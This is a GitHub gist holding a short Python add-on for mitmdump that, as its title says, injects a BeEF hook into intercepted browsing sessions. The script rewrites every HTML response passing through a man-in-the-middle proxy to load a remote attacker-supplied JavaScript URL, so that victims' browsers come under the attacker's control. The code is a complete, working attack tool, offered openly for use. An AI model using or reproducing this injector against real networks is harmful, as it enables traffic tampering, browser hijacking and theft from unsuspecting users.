Created
March 31, 2017 01:07
-
-
Save chokepoint/7a590463a7fc07c62f01f977e031a584 to your computer and use it in GitHub Desktop.
Injects beef hook into sessions with mitmdump
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# (this script works best with --anticache) | |
import sys | |
from bs4 import BeautifulSoup | |
class Injector: | |
def __init__(self, script_url): | |
self.script_url = script_url | |
def response(self, flow): | |
if flow.request.host in self.script_url: | |
return | |
html = BeautifulSoup(flow.response.content, "html.parser") | |
if html.body: | |
script = html.new_tag( | |
"script", | |
src=self.script_url, | |
type='text/javascript') | |
html.body.insert(0, script) | |
flow.response.content = str(html)#.encode("utf8") | |
def start(): | |
if len(sys.argv) != 2: | |
raise ValueError('Usage: -s "script_injector.py url"') | |
return Injector(sys.argv[1]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment